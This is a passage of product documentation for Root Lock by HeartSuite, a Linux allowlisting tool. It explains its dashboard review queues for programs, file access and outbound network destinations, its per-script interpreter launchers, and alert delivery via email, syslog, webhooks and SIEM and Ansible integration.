The protection state indicator appears as a full-width, high-contrast bar at the top of the Dashboard. Its content depends on the current system state:

Status line at the bottom

Below the protection state indicator, a status line shows:

Root Lock    Setup Mode active for 3d 7h: logging only, nothing is blocked

• Kernel indicator: “Root Lock” (when the Root Lock by HeartSuite kernel is active) or “maintenance kernel” (when booted to the recovery kernel with no Root Lock by HeartSuite loaded)
• Mode: Setup Mode or Lockdown, with time in current mode
• Lockdown: — (Setup Mode), Not applied (Lockdown without immutable seal), or Applied (Lockdown with immutable seal)

What to do if verification fails

If Phase 1 does not complete, or the indicator at the top shows a state you did not expect (for example, “maintenance kernel” when you intended to boot Root Lock by HeartSuite):

1. Check the status line at the bottom of the Dashboard. It shows the kernel indicator (“Root Lock” or “maintenance kernel”). If it shows the maintenance kernel, reboot and select the Root Lock by HeartSuite kernel from the GRUB menu.

2. Check that the Root Lock by HeartSuite systemd service is running:

   systemctl status heartsuite
   

3. For local installations, verify that the System Setup completed — it shows Setup Complete in green when all startup and shutdown programs have been allowlisted. If not, return to the System Setup and press [a] to run another step.

4. If the Dashboard shows “UNKNOWN STATE: protection status cannot be determined”, follow the Suggested Next Step displayed on the Dashboard.

5. If the issue persists, contact support at support@heartsecsuite.com.

dmesg | grep HEARTSUITE

With Phase 1 confirmed, follow the Dashboard’s Suggested Next Step to begin Phase 2: Program Allowlisting.

5 - Allowlisting Programs

Overview: By default, any program on a Linux server can execute, access any file, and connect to any destination. Root Lock by HeartSuite controls all three per program — not per user, per program. Two different programs running under the same user get separate allowlist entries with separate permissions. The Dashboard guides you through each approval phase and tracks your progress.

Allowlisting spans three phases of the Root Lock by HeartSuite setup process:

• Phase 2 — Program Allowlisting ([p]): Approve which programs are permitted to execute.
• Phase 4 — File Access Allowlisting ([f]): Approve which files and directories each program can read or write.
• Phase 5 — Internet Access Allowlisting ([i]): Approve which outbound internet destinations each program can reach.

Start from the Dashboard — it shows how many items are waiting in each queue and the Suggested Next Step directs you to whichever needs attention. The review queues manage volume through intelligent grouping, not blind bulk approval.

In this section

• Allowlisting Basics — Core procedures for reviewing and approving programs, file access, and network connections.
• Batch Allowlisting Tools — Activity log format and CLI tools for scripted allowlisting workflows.

5.1 - Allowlisting Basics

Overview: A program running without restrictions on a server can read any file, write anywhere, and connect to any destination. Root Lock by HeartSuite requires every program to be explicitly approved to execute, to access files, and to make network connections — each independently. Even a legitimate tool already on your allowlist — curl, python, a system utility — can only reach the files and network destinations its specific allowlist entry approves. The Dashboard and its review queues walk you through each approval, with full metadata and intelligent grouping to manage volume.

The three review queues

In Setup Mode, Root Lock by HeartSuite logs every program execution, file access attempt, and outbound network connection without blocking anything. These populate three review queues visible from the Dashboard:

• Programs queue ([p]) — programs that attempted to execute
• File Access queue ([f]) — programs that attempted to read or write files
• Internet Access queue ([i]) — programs that attempted outbound connections

The Dashboard shows pending counts for each queue and provides a Suggested Next Step directing you to the queue that needs attention first.

The queues build on each other. File access and network violations are only recorded for programs that have already been approved in the Programs queue. A program making live network connections will not appear in the Internet Access queue until you have approved it in the Programs queue first. If Internet Access or File Access appears empty while you know the system is active, check whether the Programs queue still has pending items.

Working through a queue

Starting a review

The Dashboard displays pending counts for each queue. The Suggested Next Step directs you to the queue that needs attention first. Select a queue to begin reviewing.

Single-key actions

The footer shows the primary actions available at any point:

Two additional keys appear contextually, not in the footer:

Metadata shown in review

Every review item displays metadata directly in the primary prompt — you do not need to press a key to see it. The fields shown include:

When a program has no entry in any package database, Root Lock by HeartSuite displays the raw file path with “(no package)” in the metadata fields. Missing metadata is never hidden — the absence of information is itself a signal.

Individual and grouped review

The review queues handle large volumes without requiring blind bulk approval. Volume is managed through intelligent grouping, not through approving things you cannot see.

Individual review

Each item is presented one at a time with full metadata. Example for a program execution:

Program attempted to execute:
/usr/bin/nano
Package:     nano 7.2-1 -- small, friendly text editor
Attempts:    3

This program has not been allowlisted.

[a] Approve execution
[s] Skip for now
[?] What does approving this mean?

Grouped review

Related items are grouped together (e.g., “847 file reads from /usr/lib/python3/”). Root Lock by HeartSuite shows a sample of the grouped items so you can confirm the grouping makes sense before approving.

Queue summary

When the volume of remaining items is large, Root Lock by HeartSuite presents a summary of what is ahead — total counts and a breakdown by program — before you begin reviewing. This is an orientation view, not an approval surface. Press [a] or [Enter] to proceed into individual review.

Programs queue (Phase 2)

When a program executes without an allowlist entry, Root Lock by HeartSuite logs it. The Programs queue presents it for review.

What the groups mean

Programs are grouped into sections in the program list on the left. These groups determine the order items appear, placing items that need the most investigation first:

The sort order is a workflow convenience that determines which programs appear first. It is not a trust ranking and does not affect the approval mechanism. Every program receives the same approve and skip options.

From the Dashboard, select the Programs queue ([p]). Each program is presented with its package metadata. Press [a] to approve execution or [s] to skip.

File Access queue (Phase 4)

Once you approve a program’s execution, Root Lock by HeartSuite begins logging every file it accesses. Programs typically access shared libraries, configuration files, and data files. The File Access queue presents them with two distinct permission levels:

• Read access — the default first approval level when approving a file read.
• Write access — always includes read access. Granted when approving a file write.

Example review prompt for a file read:

/usr/bin/python3 attempted to read:
/usr/lib/python3/dist-packages/apt/__init__.py
Program:     python3 3.11.2-1 -- interactive high-level object-oriented language
File owner:  python3-apt 2.6.0
Attempts:    12

This file access has not been allowlisted.

[a] Approve read access
[s] Skip for now
[?] What does approving this mean?

Example review prompt for a file write:

/usr/bin/journald attempted to write:
/var/log/journal/machine-id/system.journal
Program:     systemd 252-19 -- system and service manager
File owner:  systemd 252-19
Attempts:    3

This file access has not been allowlisted.

[a] Approve read and write access
[s] Skip for now
[?] What does approving this mean?

From the Dashboard, select the File Access queue ([f]).

Internet Access queue (Phase 5)

Programs that attempt outbound internet connections are logged with the destination IP address and reverse DNS hostname. The Internet Access queue presents these for review.

Example review prompt:

/usr/bin/curl attempted an outbound connection:
Destination: 93.184.216.34 -- example.com (Edgecast, US)
Program:     curl 7.88.1-10 -- command line tool for transferring data with URL syntax
Attempts:    7

This destination has not been allowlisted for this program.

[a] Approve this connection for /usr/bin/curl
[s] Skip for now

From the Dashboard, select the Internet Access queue ([i]).

Progress and completion

While working through a queue, a progress indicator shows your position:

Programs: reviewing 3 of 7  ───────────────────────────────

When a queue is empty:

All program events resolved.
Returning to Dashboard…

Allow several days to a week of observation in Setup Mode to capture activity from systemd timers, cron jobs, and infrequent services before activating Lockdown.

Review queues in Lockdown

In Lockdown the review queues are read-only. [a] and [s] do nothing — you cannot approve items while in Lockdown. The queues show denied items (actions Root Lock by HeartSuite blocked), not pending items awaiting approval.

Use [n] to navigate through denied items one by one. To approve a denied program, file access, or network destination, enter a maintenance period first via the Maintenance ([m]) — this switches to Setup Mode where the review queues become interactive again.

CLI access for scripting and automation

For scripting and automation workflows that run without the Dashboard, hs-manage-allowlist provides a browser and editor for existing allowlist entries. See its built-in help:

# hs-manage-allowlist --help

The Dashboard is the supported path for normal use.

When the Programs queue (Phase 2) is empty, the Dashboard’s Suggested Next Step directs you to Phase 3: Script Launchers — or to Phase 4 (File Access) if launchers are not applicable. The Dashboard tracks which phases remain and always shows what needs attention next.

5.2 - Batch Allowlisting Tools

Overview: The Dashboard review queues handle allowlisting for routine setup — grouped review, metadata enrichment, and intelligent grouping cover most workflows. The tools below are for scripted deployments and direct allowlist management where CLI access is required.

These CLI tools are the integration points for external control: your central automation (Ansible playbooks, Terraform provisioners, GitOps pipelines, ServiceNow flows, Puppet, or custom scripts) prepares policy data and invokes the tools on each host to apply or harvest allowlists. See Central Policy Management and External Control for patterns and examples; for Ansible fleets, the official heartsecurity.root_lock role documented there is the preferred declarative path over direct CLI invocation. Pre-seeding via these tools accelerates fleet onboarding for standard configurations.

batch_record_add.py

batch_record_add.py creates allowlist entries in bulk from a plain text file of program paths — one path per line. For each path, it adds the program with /usr/lib and /etc as default allowed directories. This tool is located in /.hs/sys/ and requires root:

# /.hs/sys/batch_record_add.py <file>

Where <file> contains one absolute program path per line, for example:

/usr/bin/nano
/usr/bin/curl
/usr/bin/wget

hs-manage-allowlist

hs-manage-allowlist provides a browser and editor for existing allowlist entries. It is not a review tool — it operates on entries that have already been created. Use it to inspect, modify, or remove existing entries:

# hs-manage-allowlist --help

Both tools require root. Run them from a root shell:

# sudo -s

Exit with Ctrl-D when finished.

6 - Script Launchers and Python Setup

Overview: Without Secure Script Launchers, every Python, Perl, or PHP script would share the interpreter’s permissions — if python3 is allowed to access the network, every Python script can access the network. Secure Script Launchers solve this by giving each script its own allowlist entry, so you control exactly what each script can do. The Dashboard presents this as Phase 3 when script interpreters are detected on the system.

In this section

• How Script Launchers Work — Security rationale and how Secure Script Launchers enforce script permissions.
• Configuring Script Launchers — Direct use for testing and permanent symbolic link setups.
• Included Script Launchers — List of available launchers for Python, Perl, PHP, etc.

Once launchers are configured (or skipped), the Dashboard directs you to Phase 4: File Access Allowlisting via the File Access queue ([f]) — see Allowlisting Basics.

6.1 - How Script Launchers Work

Overview: Without Secure Script Launchers, every script run by an interpreter (Python, Perl, PHP) shares the interpreter’s permissions. If python3 is allowed to access the network, every Python script inherits that access. Secure Script Launchers solve this by giving each script its own allowlist entry.

Why allowlisting the interpreter is not enough

Interpreter programs (Python, PHP, Perl, Bash) execute code from files. When you allowlist python3, you grant permissions to the interpreter — and every script it runs inherits those permissions. A malicious Python script would have the same file and network access as your legitimate scripts.

graph LR
    subgraph without["Without launcher — interpreter is the unit of control"]
        P["python3\none allowlist entry"] --> SA["script_a.py"]
        P --> SB["script_b.py"]
        SA --> PA["network ✓  files ✓"]
        SB --> PB["network ✓  files ✓"]
    end

    subgraph with["With Secure Script Launcher — each script is the unit of control"]
        L["hs-python-launcher"] --> SA2["script_a.py\nown allowlist entry"]
        L --> SB2["script_b.py\nown allowlist entry"]
        SA2 --> PA2["network ✓"]
        SB2 --> PB2["no network ✗"]
    end

Per-script allowlist entries

Secure Script Launchers create a wrapper that applies the individual script’s allowlist entry instead of the interpreter’s:

• Each script is treated like a standalone program with its own permissions
• One script can have network access while another cannot
• Interpreters can be blocked entirely — only allowlisted scripts run

Using launchers

Root Lock by HeartSuite provides Secure Script Launchers for each supported interpreter (e.g., hs-python-launcher). Once activated via the Dashboard’s Launchers ([s]), every call to that interpreter automatically routes through the launcher — applying per-script permissions without any change to how you run scripts.

See Configuring Script Launchers for the activation steps.

6.2 - Configuring Script Launchers

Overview: An interpreter like Python, Perl, or PHP executes many different scripts — without additional control, a single allowlist entry for the interpreter applies to all of them equally. Secure Script Launchers identify the specific script being executed and apply a separate allowlist entry for it, giving each script its own file and network permissions. The Launchers ([s]) shows detected interpreters and activates launchers in one step.

Activating launchers

From the Dashboard, select Launchers ([s]). The Dashboard shows two sections:

• Script Launcher Status — how many interpreters were detected and how many launchers are pending activation
• Detected Interpreters — the list of interpreter paths found in the activity log, with their current launcher status

When launchers are pending, the Dashboard shows:

2 interpreter(s) found across 47 log event(s).
2 launcher(s) available but not yet activated.

[a] Activate   [s] Skip

Press [a] to activate all pending launchers at once. Root Lock by HeartSuite registers each interpreter with its Secure Script Launcher — from this point forward, every call to that interpreter automatically routes through the launcher, applying per-script permissions.

After activation, the Dashboard confirms which launchers were activated:

Activated 2 Secure Script Launcher(s): python3, perl.
Each interpreter now routes through its launcher. Scripts using
these interpreters will be reviewed on their own permission terms.

Press [q] to return to the Dashboard. The Dashboard marks Phase 3 complete.

If no script interpreters are detected

If none of the known interpreters have appeared in the activity log yet, the Dashboard shows:

No script interpreter log events detected.
You may proceed to the next phase without activating any launchers.

Phase 3 is not required if your system does not use script interpreters.

Skipping launcher setup

Press [s] to skip without activating. Root Lock by HeartSuite notifies you:

Script launcher activation skipped.
Interpreters will remain blocked in Lockdown until approved.

You can return to the Launchers ([s]) at any time to activate launchers before activating Lockdown.

Testing a launcher directly

Before or after Dashboard activation, you can run a script through a specific launcher directly to verify it works under its own permissions:

# hs-python-launcher /path/to/your-script.py

This applies the script’s allowlist entry rather than the interpreter’s. Running the same script with python3 directly uses the interpreter’s broader permissions. This is useful for verifying per-script permissions in isolation before relying on them in Lockdown.

After activating launchers, return to the Dashboard — the Suggested Next Step directs you to Phase 4: File Access Allowlisting via the File Access queue ([f]).

6.3 - Included Script Launchers

Overview: Root Lock by HeartSuite ships with Secure Script Launchers for common interpreters. The Dashboard presents these during Phase 3 (if applicable) when the corresponding interpreters are detected on the system.

Available launchers

• Python 3 (hs-python-launcher)
• Python 2 (hs-python2-launcher)
• Perl (hs-perl-launcher)
• PHP (hs-php-launcher)

For questions about launcher support for other interpreters, contact support@heartsecsuite.com.

7 - Network and Remote Access

Overview: Programs make outbound connections you never approved (telemetry, update beacons, C2 callbacks). Root Lock by HeartSuite blocks all outbound network connections by default. No program can connect to any destination unless you have explicitly approved it. The Dashboard’s Internet Access queue ([i]) guides you through reviewing and approving destinations for each program as part of Phase 5.

Per-program, per-destination enforcement

In Setup Mode, Root Lock by HeartSuite logs every outbound connection attempt without blocking it. These connection attempts appear in the Dashboard’s Internet Access queue. In Lockdown, any connection to a destination not on the allowlist is blocked and an alert is generated.

Network permissions are per-program and per-destination. Approving 93.184.216.34 for curl does not allow wget to connect to the same address; each program must have its own approved destinations. Root Lock by HeartSuite approves specific IPv4 and IPv6 addresses, not CIDR ranges, hostnames, or wildcards.

Using the Internet Access queue

Select the Internet Access queue from the Dashboard ([i]). Each connection shows:

• Program: the full path and package metadata (name, version, description, maintainer)
• Destination: the IP address with reverse DNS hostname (e.g., 93.184.216.34 (example.com, Edgecast, US))
• Attempts: how many times this connection was attempted

Example review prompt:

/usr/bin/curl attempted an outbound connection:
Destination: 93.184.216.34 (example.com, Edgecast, US)
Program:     curl 7.88.1-10 (command line tool for transferring data with URL syntax)
Attempts:    7

This destination has not been allowlisted for this program.

[a] Approve this connection for /usr/bin/curl
[s] Skip for now

Press [a] to approve the destination for that program, or [s] to skip it for later.

When the Internet Access queue is empty, the Dashboard marks Phase 5 as complete and updates the Suggested Next Step.

Approving a network destination

Suppose wget is on the program allowlist but no network destinations have been approved. Running:

# wget https://example.com/agreement.html

Root Lock by HeartSuite intercepts the connection and the attempt appears in the Internet Access queue with the destination 45.60.22.168 (example.com). After you approve it, the same wget command completes without generating another entry for that IP address.

Reviewing existing network permissions

To browse or edit network destinations that have already been approved, select Allowed ([a]) from the Dashboard. Existing entries are grouped by category (Programs, File Access, and Internet Access) so you can quickly find and modify network permissions.

CLI access for scripting and automation

For scripting and automation workflows that run without the Dashboard, hs-manage-allowlist provides direct CLI access:

# hs-manage-allowlist add -x /usr/bin/wget -n 45.60.22.168

Or look up the entry number first:

# hs-manage-allowlist list | grep wget
277
/usr/bin/wget
# hs-manage-allowlist add -r 277 -n 192.142.166.196

The Dashboard is the supported path for normal use.

For general allowlisting concepts (program execution, file access, write permissions), see Allowlisting Basics.

When the Internet Access queue is empty, the Dashboard marks Phase 5 complete and directs you to Phase 6: Alert Settings.

Inbound connections

Root Lock by HeartSuite manages outbound connections only. Inbound connection filtering (restricting which ports are reachable, blocking port scans, rate-limiting login attempts) is outside its scope. Use the OS firewall (iptables, nftables, ufw) or cloud provider security groups for inbound network controls.

8 - Alert Settings

Overview: In Lockdown, the kernel blocks any execution, file access, or network connection not on the allowlist — whether or not anyone is connected to the Dashboard. Without alerts, a blocked program fails silently. Alerts notify you of these blocks and of state changes the moment they happen. On a stable system with a complete allowlist, alerts are rare — most weeks you receive none at all. An alert means something genuinely unexpected happened.

For fleet and enterprise scale

Single-host setup is on this page (Dashboard → Alert Settings, Phase 6). For production fleets and compliance programmes, use the dedicated guides:

• SIEM and Fleet Integration — Syslog, webhook, and status JSON for Splunk, Elastic, PagerDuty, and similar tools. The recommended path when you manage many servers without per-host TUI toil.
• Central Policy Management and External Control — Drive allowlist policy from Ansible, Terraform, ServiceNow, GitOps, and custom automation; consume syslog, JSONL approval logs, status.json, and webhooks for central visibility.

When alerts fire

Alerts are a push channel for blocks and state changes that warrant immediate attention. They are not a secondary log stream and not a replacement for the Dashboard.

Alerts are suppressed entirely in Setup Mode. Setup Mode is a high-volume observation phase — logging everything without blocking. Alerting during this phase would produce constant noise before the allowlist is complete. Alerts become active only when Lockdown is active.

Configuring alerts

From the Dashboard, select Alert Settings ([e]). Alert Settings has two tabs: Email and Fleet.

Email tab

Configure SMTP credentials to receive email alerts directly. Required fields:

• Node ID — defaults to the system hostname; set a recognisable identifier (e.g., prod-web-03) so email subjects immediately identify the source machine when managing multiple servers
• SMTP server and Port (default 587)
• Sender and Recipient addresses
• Password (masked on entry; never displayed after saving)

Select Save to store the configuration. Root Lock by HeartSuite validates all fields but does not attempt a live connection at save time. Select Test to send a test email — this is the only moment where SMTP connectivity is verified. If the test fails, the exact SMTP error code is shown:

Test email failed: [535 Authentication credentials invalid]

Check your credentials and try again. No alerts have been sent.

Once configured, the tab shows current settings with the password displayed as (set). Select Edit to modify — the password field is always blank when editing. You must re-enter the password to prevent credentials from appearing in the terminal scroll buffer.

Fleet tab

Configure syslog and webhook delivery for fleet and SIEM integrations. All channels are independent — enable any combination.

Syslog — A toggle (Enabled/Disabled). When enabled, Root Lock by HeartSuite writes all alerts to the system log via /dev/log, using the heartsuite-alert ident, LOG_AUTH facility, and LOG_WARNING severity. No additional configuration is needed on the Root Lock by HeartSuite node. After enabling, the Alert Settings provides an rsyslog forwarding rule example for your SIEM.

Verify syslog delivery with:

journalctl -t heartsuite-alert --since "1 minute ago"

To forward to a SIEM, configure an rsyslog output rule in /etc/rsyslog.d/heartsuite.conf. See the rsyslog omfwd forwarding module documentation for forwarding syntax, and your SIEM’s own documentation for the receiving end:

• Splunk — Get data from TCP and UDP ports
• Elastic — Filebeat syslog input

Webhook — Enter an HTTPS URL. Root Lock by HeartSuite POSTs a JSON payload to this URL on every alert. HTTP (non-TLS) URLs are rejected. Example payload:

{
  "node_id":    "prod-web-03",
  "event_type": "new_program_blocked",
  "timestamp":  "2026-03-31T14:22:00Z",
  "mode":       "Lockdown",
  "lockdown":   false,
  "paths":      ["/tmp/dropper", "/tmp/payload"],
  "count":      2
}

To receive this payload, create an integration in your incident management tool and paste the endpoint URL into the Webhook field:

• PagerDuty — Events API v2
• OpsGenie — Incoming webhook integration
• Slack — Incoming webhooks

Status JSON — A passive monitoring surface at ~/.cache/heartsuite/status.json, updated every 60 seconds. Ansible, Nagios, and Zabbix can read this file via SSH pull. No configuration required — always active when the alert daemon is running. This is read-only; it does not push notifications.

For production examples (Filebeat/Elastic, rsyslog forwarding, webhook targets, verification commands) and the “scale path for larger teams” guidance, see the dedicated SIEM and Fleet Integration page. That page also covers using policy and posture data for tables of the current allowlist, risk signals, and posture views in Kibana/Elastic.

For using your existing central tooling (Ansible, Terraform, GitOps, ServiceNow, custom scripts) to own and apply allowlist policy at scale — with pre-seeding, harvest, and consumption of status.json / JSONL approval logs / syslog / webhook — see Central Policy Management and External Control. HeartSuite is designed to be driven by your control planes; the Dashboard is the single-host operator surface.

When Phase 6 is complete — at least one push channel configured — the Dashboard marks Phase 6 as complete and unlocks Phase 7 (Lockdown).

What triggers an alert

Administrative state changes

These alerts fire immediately on every configured channel, regardless of accumulation windows or digest mode:

Blocks in Lockdown

These blocks apply a threshold filter and are active in Lockdown only:

Never alerted under any circumstances:

• Anything in Setup Mode
• Repeated blocks of the same program–destination pair already seen in the current session
• File version activity under /tmp/, /var/tmp/, or /dev/shm/
• Dashboard sessions opened or closed
• Successful allowlist approvals

How alerts are delivered

Email — 5-minute accumulation window

Blocks are grouped before delivery. A dropper that installs 40 payloads in 90 seconds produces one email — “40 previously unseen programs blocked in 90 seconds” — not 40 individual messages. Volume and velocity are the attack signal; 40 separate emails fragment that signal into noise.

• The 5-minute window starts on the first block of a given type
• Additional blocks of the same type within that window are added to the pending bundle
• At window close, one email is dispatched covering all accumulated blocks
• Blocks of different types accumulate independently — a network burst does not delay a file modification alert

Digest mode: If more than 3 block alerts are dispatched within a single hour, Root Lock by HeartSuite switches to digest mode for the remainder of that hour. All further blocks are queued and delivered as one digest email at the hour’s end. Administrative state changes are never held — Lockdown activations and state changes are always delivered immediately.

The 5-minute window and hourly cap are fixed, not user-configurable.

Syslog and webhook — immediate

Syslog and webhook emit every alert immediately, without grouping or windowing. SIEM platforms (Splunk, Elastic) and incident management tools (PagerDuty, OpsGenie) apply their own correlation and deduplication — grouping alerts before they reach these systems removes information they need.

With at least one push channel configured, Phase 6 is complete and the Dashboard unlocks Phase 7. Follow the Suggested Next Step to activate Lockdown (prep with per-panel actions/opt-outs before YES).

8.1 - SIEM and Fleet Integration

Overview: Root Lock by HeartSuite integrates with your existing SIEM, EDR, and observability stack via syslog (journald/rsyslog) and webhook. This is the scale path for larger teams: configure once (in the Dashboard under Alert Settings → Fleet tab) and let your central tooling handle monitoring, correlation, and alerting. There is no requirement to run the TUI on every host for day-to-day fleet visibility.

The raw enforcement decisions and higher-level alerts are emitted in real time. SIEM platforms receive the full picture; incident tools receive actionable events.

Syslog (recommended for SIEM ingestion)

When the Fleet tab “Syslog” toggle is enabled, every alert and every kernel-level enforcement decision is written to the local journal (ident heartsuite / heartsuite-alert).

Filebeat / Elastic (or any rsyslog-compatible shipper)

# filebeat-heartsuite.yml (adapt to your existing stack)
filebeat.inputs:
  - type: journald
    id: heartsuite-enforcement
    include_matches:
      - "SYSLOG_IDENTIFIER=heartsuite"
output.elasticsearch:
  hosts: ["https://your-elastic:9200"]
  # username, password, ssl.* etc. from your existing config
logging.level: warning

One ingest configuration works for Splunk, QRadar, Graylog, Loki (via promtail), etc. Both the per-decision enforcement stream and the aggregated alert events flow under the same tag.

Pre-flight check on the host:

filebeat test config && filebeat test output

Direct rsyslog forwarding

Create /etc/rsyslog.d/heartsuite.conf:

:programname, isequal, "heartsuite" @@your-siem-host:514
# Use @ for UDP or the TLS modules for production

Then:

sudo systemctl restart rsyslog
journalctl -t heartsuite --since "1 minute ago"

Webhook (for PagerDuty, OpsGenie, Slack, etc.)

Enter a valid HTTPS URL in the Fleet tab. HeartSuite posts a compact JSON payload on every alert (immediate delivery, no batching on our side — let your receiver deduplicate).

Example payload:

{
  "node_id":    "prod-web-03",
  "event_type": "new_program_blocked",
  "timestamp":  "2026-03-31T14:22:00Z",
  "mode":       "Lockdown",
  "lockdown":   true,
  "paths":      ["/tmp/dropper", "/tmp/payload"],
  "count":      2
}

Supported targets (paste the URL and any required key into the Fleet tab):

• PagerDuty Events API v2
• OpsGenie Incoming Webhook
• Slack Incoming Webhooks
• Generic HTTPS JSON receivers

Use the “Test Webhook” button in the UI to validate delivery.

Status JSON (pull-based monitoring)

A passive, always-on snapshot is written every 60 seconds to ~/.cache/heartsuite/status.json (world-readable when the alert daemon runs).

Fields of particular interest for health checks:

• mode, is_hs_kernel, lockdown, daemon_ok
• pending_* counts (non-zero in Lockdown usually indicates something needs investigation)
• Per-channel last_*_error objects

Tools that can consume it directly:

• Ansible facts / custom modules over SSH
• Nagios / Icinga / Zabbix (SSH or file checks)
• Any script that cats or jqs the file on a schedule

No configuration is required on the HeartSuite side.

Policy and posture data in Elastic and Kibana

In addition to the enforcement and alert streams, HeartSuite can emit structured policy and posture data. This includes snapshots of the current allowlist together with periodic reports of the host’s protection posture. When ingested into Elasticsearch, this data supports views of the allowlist across your fleet.

You can use it for:

• Tables of approved programs along with their exact file and network grants.
• Summaries such as counts of programs, broad-write risks while locked down, and reporting hosts.
• Detecting drift by comparing the stable record_hash across snapshots.
• Filtering for higher-risk entries using fields such as risk_level, has_broad_write, has_network_grant, and lockdown_active_at_capture.

The data works with visualization tools in Kibana and similar platforms:

• Key fields for each program and its grants are directly available for tables and metrics.
• Grant details remain accessible for further exploration.

This view complements the host Dashboard and TUI: use the Dashboard for deliberate changes, review queues, and sealing on individual hosts. Use the central view for scanning, filtering, and correlating posture and the allowlist at fleet scale.

Production path on real hosts

On production hosts, enable the policy and posture export option in the Fleet tab of Alert Settings. Ship enforcement and alert streams via syslog or Filebeat as described above. Ingest into your existing Elasticsearch cluster and build Kibana dashboards with your standard security, retention, and access controls. No separate HeartSuite download is required for this path.

tools/kibana-bridge (optional evaluation stack)

For lab, evaluation, and customer demos, HeartSuite offers tools/kibana-bridge/: an optional disposable Docker stack (Elasticsearch, Kibana, and a small ingest receiver) that turns HeartSuite telemetry (apo_change, heartbeats, enforcement) into policy-centric Kibana views. It is not installed by heartsuite-install.sh; request an evaluation kit from support@heartsecsuite.com or use the materials included with your coordinated release delivery.

The bridge is a read-only insight plane that complements syslog enforcement streams. It does not replace them and is not required for production. Typical views include:

• A living allowlist table (one row per program_path with grant counts, risk_level, has_broad_write, has_network_grant, and related fields).
• KPI-style posture metrics (policy counts, broad-write risk while locked down, high-grant surface, recent blocks).
• Drift detection by comparing stable record_hash values across snapshots.
• Enforcement correlation for drill-down alongside policy rows.

The stack is localhost-only, security-disabled, and throwaway (docker compose down -v wipes volumes).

Versus tools/siem-test/: These are sibling evaluation fixtures with different purposes (both available on request, not on production hosts):

They can run side by side on the same machine (different ports). Neither fixture is installed to /.hs/sys on hosts.

Quickstart (evaluation):

cd tools/kibana-bridge
docker compose up -d
docker compose run --rm setup
# Open http://localhost:5601 (or http://127.0.0.1:5601)

After setup, Kibana includes preconfigured data views:

• HeartSuite Policies — primary view for the living allowlist table (Lens tables, drift filters).
• HeartSuite Events — raw telemetry and event drill-down in Discover.

An optional imported dashboard, HeartSuite - Policy Overview, may also be present when saved objects are bundled with your checkout.

To feed live data during lab work, enable Fleet tab export on a host and forward telemetry to the bridge ingest receiver, or ingest exported policy data into your production Elasticsearch using the same field model. Setup detail is included in the evaluation kit README shipped with tools/kibana-bridge/.

Pairing with Ansible central policy

The exported policy data model pairs naturally with Ansible (or Terraform/GitOps) central policy management: curate one allowlist in your repo, push via the heartsecurity.root_lock Ansible role, batch_record_add.py, or hs-manage-allowlist, and use Kibana tables, KPIs, and record_hash for fleet visibility and drift detection. The bridge (or your production Elasticsearch deployment) is the read and visibility side; your control plane remains the write path.

See Central Policy Management and External Control for Ansible role variables, seed application, and harvest patterns.

Verification commands (run on the HeartSuite host)

# Recent alerts and enforcement decisions
journalctl -t heartsuite --since "10 minutes ago"
journalctl -t heartsuite-alert --since "10 minutes ago"

# Status snapshot (for pull monitors)
cat ~/.cache/heartsuite/status.json | jq .

Relationship to the Dashboard

All channels are configured in the single Alert Settings screen ([e]). The “Fleet” tab is the central place for SIEM/webhook/syslog + status. Email remains available as a supplementary or low-volume channel.

At fleet scale the recommendation is clear: syslog for the SIEM, webhook for incident response platforms, and Status JSON for infrastructure-as-code health checks. The Dashboard remains the place for initial setup, exception review, and maintenance — not for ongoing fleet monitoring.

Policy management is the inbound complement: your central systems curate and apply allowlists via the shipped CLI tools, pre-seeding, and automation patterns. See Central Policy Management and External Control.

Once at least one push channel is configured, Phase 6 (Alert Settings) is complete and you can proceed to Lockdown.

For the UI configuration steps in detail, see the parent Alert Settings page.

8.2 - Central Policy Management and External Control

Overview: HeartSuite is designed to be driven by your existing central tooling. The Dashboard is the operator experience for a single host; enterprises use their control planes to manage policy and observe at scale.

There is no built-in multi-host push from a HeartSuite server. Each host enforces its own allowlist, and Lockdown seals that allowlist on the device. Policy is applied per-host by your automation, with rich export surfaces for central consumption and attribution. This model lets you keep ownership of policy curation, change approval, and fleet-wide visibility inside the tools you already run (Ansible, Terraform, GitOps repositories, ServiceNow, Splunk, Elastic, custom orchestration).

The subscription activation step that enables Lockdown remains a per-host entitlement check. The content of the policy itself can be fully external.

Policy curation in your central systems

A central system (CMDB, Git repository as source of truth, ITSM workflow, or custom script) owns the authoritative list of approved programs, file-access paths, and network destinations.

• Generate or maintain policy as simple text lists (one absolute program path per line) or structured data that your automation can parse.
• Curate changes through your normal processes: code review in Git, change tickets in ServiceNow, or policy-as-code pipelines.
• For homogeneous fleets or golden images, pre-seed a known-good baseline allowlist at install or first boot. This accelerates onboarding compared to pure observation on every host.
• For varied or custom workloads, allow an initial observation window in Setup Mode on a representative host, harvest the resulting allowlist entries, review them centrally, and then push the approved set to the rest of the fleet.

Pre-seeding reduces per-host Dashboard toil for standard stacks while still requiring explicit approval of any deviation before Lockdown.

Applying policy from automation

Use the CLI tools shipped with every installation (documented in the Appendices and Batch Allowlisting Tools) to apply policy from your control plane:

• hs-manage-allowlist — inspect current state, add or remove specific entries for programs, file paths, and network destinations.
• batch_record_add.py — bulk-seed programs from a plain-text list of paths (adds each with standard library and configuration directories).

Run these tools over SSH, via config-management agents, or as part of provisioning scripts. Your central system prepares the seed data or change set; the automation layer delivers and applies it to each target host.

Subscription activation (hs-activate-subscription) is still required on each host before Lockdown can be engaged — this is the entitlement step and remains local.

Examples for the primary integration patterns follow.

1. Ansible — playbooks for seeding and applying policy

HeartSuite provides an official declarative Ansible role (heartsecurity.root_lock) for fleet policy application and Lockdown transitions. It is modelled on linux-system-roles.selinux and ships with coordinated release materials; email support@heartsecsuite.com if you need the role package. On every installed host, the limited_tools Python API under /opt/heartsuite is the runtime integration surface the role uses. A shell-and-CLI alternative using batch_record_add.py and hs-manage-allowlist follows below for ad-hoc or legacy playbooks.

Official Ansible role: heartsecurity.root_lock

Overview: The role provides variable-driven, idempotent management of allowlist programs and mode transitions. It is modelled on linux-system-roles.selinux (and rhel-system-roles.selinux) so administrators familiar with RHEL declarative SELinux policy can apply the same playbook patterns to HeartSuite.

Requirements:

• HeartSuite already installed on managed hosts (the role does not install the product).
• become: true — all operations are privileged.
• Ansible >= 2.9.
• The role invokes the production Python API in /opt/heartsuite (limited_tools via /opt/heartsuite/venv/bin/python3 and /opt/heartsuite/src).

Key variables (all prefixed hs_ to avoid collision with SELinux role variables):

Additional variables include hs_gather_status (default true, exposes hs_status fact), hs_purge / hs_purge_allowlist (currently emit a warning only — the scriptable surface is additive by design), and hs_python / hs_src_path overrides for non-standard install layouts.

